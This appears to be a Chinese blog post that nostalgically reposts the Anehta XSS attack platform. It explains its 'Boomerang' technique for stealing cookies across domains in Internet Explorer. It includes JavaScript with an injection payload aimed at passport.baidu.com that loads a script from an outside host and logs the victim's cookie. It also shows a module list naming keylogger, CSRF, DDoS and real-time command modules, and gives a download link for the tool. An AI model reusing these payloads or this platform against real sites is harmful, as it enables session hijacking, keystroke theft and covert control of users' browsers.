道哥当年的大作，昨天翻硬盘时，找到了这个老古董，百度一下，网上几乎已经没有下载，除了几个老站点外，相关介绍也是寥寥无几，毕竟过去快十一年了。

程序版本历经anehta0.5.5 、anehta0.5.6、anehta0.6.0，三个版本，后期停止更新。当初这款web攻击平台发布后很受欢迎，主要是因其整合了当时几乎所有XSS攻击技术为一体的平台。其中最引人注目的是其Boomerang技术，俗称回旋镖技术，可以跨域获取本地cookie，实现反射性XSS转化为持续型XSS。

原文Boomerang的工作原理：

我们知道，浏览器被XSS攻击后，攻击者可以用js或其他脚本控制浏览器的行为。这时候如果我们强制浏览器去访问站点B上一个存在XSS漏洞的页面，就可以继续用B站上的XSS_B控制用户的浏览器行为； 那么把整个过程结合起来，简单表示如下：

victim Browser —>site A，XSS_A —- redirect to —->Site B，XSS_B —– redirect somewhere —>…..

但是对于IE来说，想要通过XSS_B 获取 Site B的cookie是有一定的困难的，困难就在于，从site A发过来的request，是否带上了本地cookie。

我们知道，在IE中，iframe、img等标签都是拦截本地cookie的，于是这些都不能用。需要使用不拦截cookie的比如 window.open等方法，但是window.open会被IE拦截弹出窗口，所以我在boomerang 中使用了 表单提交，构造一个form，向site B提交，然后再从Site B导入一个XSS B，获取了cookie后，再通过表单提交，跳转回原来的Site A.

如果在Site B上，使用XSS_B再将页面重新定向回 Site A，那么对于用户来说，就是简单的闪了一下，非常具有欺骗性。

这个过程可以描述如下

////////////////////////////////////////////////////////////
var target_domain = “passport.baidu.com”;
var target=“http://passport.baidu.com/?getmypass&username=\”];document.write(‘<script src=http://www.secwiki.com/anehta/feed.js></script>’);//”;
// 前页面
var org_url = “http://www.secwiki.com/anehta/demo.html”;
var org_domain = “www.secwiki.com”;
// 如果是当前页面，则向目标提交
if ($d.domain == org_domain){
if (anehta.dom.checkCookie(“boomerang”) == false){
// 在cookie里做标记，只弹一次
anehta.dom.addCookie(“boomerang”, “x”);
setTimeout( function (){
//alert(target);
try {
anehta.net.postForm(target);
} catch (e){
//alert(e);
}
},
50);
}
}
// 如果是目标站点，则重定向回前页面
if ($d.domain == target_domain){
//clx模块太慢了
anehta.logger.logCookie(); //记录cookie
setTimeout( function (){
// 弹回原来的页面。
anehta.net.postForm(org_url);
},
50);
}

由于在IE中，跳到了Site B后再跳回A，中间已经取到了B的cookie了，整个过程就像用回旋镖扔出去打了一下B一样，所以我把这个模块命名为回旋镖模块，英文是：Boomerang!

实现代码如下：

可以注意到，在Site B上停留的时间只有50毫秒，是非常短暂的，而我们想做的事情已经做完了。

所有需要的一切，只是在B站上有一个XSS，种类不限，也就是说，不管是反射型XSS，还是持久型XSS，都能很好的完成我们的工作。

在以往，反射型XSS可能是鸡肋，但是通过回旋镖模块，我们变废为宝了！

---------------------------------------------------------------------------------

对于XSS不了解的，可以移步XSS攻击的三种类型了解关于XSS攻击的具体知识。

---------------------------------------------------------------------------------

如何使用Anehta：

首先看架构，feed.js 是最基础的文件，一切anehta加载的源头都是这个文件。

以下是一个feed.js的例子，正常使用只需要修改其中这部分：

// anehta files url
var anehtaurl = “http://www.secwiki.com/anehta“;
var anehtaFeeds = [
// Library
{name: “BaseLib”, url: “/library/base.js”},
{name: “JqueryLib”, url: “/library/jquery.js”},
// Modules
//{name: “BoomerangMod”, url: “/module/boomerang.js”},
{name: “ClxMod”, url: “/module/clx.js”},
{name: “XsrfMod”, url: “/module/xsrf.js”},
//{name: “DdosMod”, url: “/module/ddos.js”},
{name: “HookMod”, url: “/module/hook.js”},
{name: “KeyloggerMod”, url: “/module/keylog.js”},
{name: “XCookieMod”, url: “/module/xcookie.js”},
//{name: “CookieDemoMod”, url: “/module/demo/cookieDemo.js”},
//{name: “CacheDemoMod”, url: “/module/demo/cacheDemo.js”},
{name: “RealtimeCmdMod”, url: “/module/realtimecmd.js”},
{name: “ScannerMod”, url: “/module/scanner.js”},
{name: “TestMod”, url: “/module/test.js”}
];

将anehtaurl改为你自己存在anehta项目的路径即可使用。

下面的模块是可选的，去掉注释后能组合成各种不同的功能。

注意： 请不要在feed.js加载 /boomerang.js （回旋镖模块），因为这个模块是专门针对IE的，在后面的 xcookie.js 中会自动判断浏览器版本并加载这个文件。

同时如果加载 boomerang.js 的话，需要修改 boomerang.js 中的

var org_url = “http://www.secwiki.com/anehta/demo.html”;
var org_domain = “www.secwiki.com”;

为被XSS的页面和被XSS的域名，否则回旋镖会跳不回来！

feed.js 会去加载 base.js ，这是最核心的文件，JS框架就是这个文件。然后会加载一系列的MOD。

打开文件夹后会看到很多文件，现在简单介绍下这些文件的作用：

feed.js 是前面说的加载js用的。

admin.php 是管理后台
logxss.php 是记录所有log的文件，文件会按照水印分类记录到slave目录下
ip.php 是反向查询地理位置的文件
cookie2proxy.php 是我用来向glype proxy 添加cookie的文件
realtimecmd.php 是实时控制客户端的文件

library 目录下放的是JS library，只有两个文件： base.js , jquery.js

module目录下是模块文件：

这些js都是独立的模块，xcookie是跨域获取cookie，clx是打水印的模块，我把它称作“楚留香模块”

boomerang就是回旋镖模块了

flash目录下目前放的是打水印用的flash

demo目录下还有些API的演示。

其他的模块都能从字面上理解其含义。

tools目录下放的是一些第三方工具，目前放了两个
一个是PHP的网页代理： glype
我修改后，可以自定义cookie了

另一个是发送邮件用的 phpMailer

说到发送邮件，在admin后台里，请大家不要随便点击 Mail&Del 按钮啊，log日志都发送到我的邮箱里了

-------------------------------------------------------------------------------------------------------

附上当初发布时的介绍， 道哥已经不再使用blog，所以原文是从其它站点复制下来的，其中包含的演示链接和下载链接已经失效，当年还为其做过镜像下载，算一下时间都过去11年了。。。。。

本次恢复镜像下载，旧版本就不放了，直接放最后一次更新版，也算是对过去的一个怀念。

下载地址：http://www.nukeblog.cn/anehta/anehta-v0.6.0fixed-withoutQQWry.zip （目前应该是全网不多的下载地址了）

-------------------------------------------------------------------------------------------------------

打赏

微信扫一扫，打赏作者吧～